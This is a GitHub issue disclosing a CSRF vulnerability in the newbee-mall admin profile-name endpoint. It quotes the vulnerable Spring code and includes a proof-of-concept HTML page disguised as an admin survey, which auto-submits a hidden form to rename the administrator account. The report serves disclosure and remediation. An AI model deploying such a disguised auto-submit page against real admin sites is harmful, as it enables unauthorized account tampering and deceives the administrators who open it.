Skip to content

CSRF Vulnerability in Admin Profile Name Update #106

Description

@flashzyc

CSRF Vulnerability in Admin Profile Name Update

Summary

A Cross-Site Request Forgery (CSRF) vulnerability exists in the administrator profile name update endpoint /admin/profile/name. The lack of CSRF protection in both the application configuration and endpoint implementation allows attackers to modify administrator account information without authorization.

Vulnerability Details

Configuration-Level Issue

File: src/main/java/ltd/newbee/mall/config/NeeBeeMallWebMvcConfigurer.java

@Configuration
public class NeeBeeMallWebMvcConfigurer implements WebMvcConfigurer {
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(adminLoginInterceptor)
                .addPathPatterns("/admin/**");
        // ❌ No CSRF protection mechanism configured
    }
}

Endpoint-Level Code Analysis

File: src/main/java/ltd/newbee/mall/controller/admin/AdminController.java (Lines 117-130)

@PostMapping("/profile/name")
@ResponseBody
public String nameUpdate(HttpServletRequest request, 
                         @RequestParam("loginUserName") String loginUserName,
                         @RequestParam("nickName") String nickName) {
    if (!StringUtils.hasText(loginUserName) || !StringUtils.hasText(nickName)) {
        return "参数不能为空";
    }
    Integer loginUserId = (int) request.getSession().getAttribute("loginUserId");
    // ❌ No CSRF token validation
    // ⚠️ Directly modifies admin information without origin verification
    if (adminUserService.updateName(loginUserId, loginUserName, nickName)) {
        return ServiceResultEnum.SUCCESS.getResult();
    } else {
        return "修改失败";
    }
}

Security Issues:

  1. ❌ No CSRF token validation
  2. ❌ No origin verification
  3. ⚠️ Accepts arbitrary loginUserName and nickName from any source

Proof of Concept (PoC)

<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal - Quick Survey</title>
</head>
<body>
    <h2>📊 Admin Satisfaction Survey</h2>
    <p>Help us improve! This survey takes only 5 seconds.</p>
    <p>Loading survey...</p>
    
    <form id="csrf-form" action="http://localhost:28089/admin/profile/name" method="POST">
        <input type="hidden" name="loginUserName" value="HACKED_ADMIN">
        <input type="hidden" name="nickName" value="Compromised Account">
    </form>
    
    <script>
        setTimeout(function() {
            document.getElementById('csrf-form').submit();
        }, 1000);
    </script>
</body>
</html>

Impact

Administrator account information tampering - Attackers can modify admin usernames and display names, potentially facilitating social engineering attacks or causing confusion in audit logs.


CVSS Score: 7.1 (High)


Reporter:flashzyc
Date:February 5,2026

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions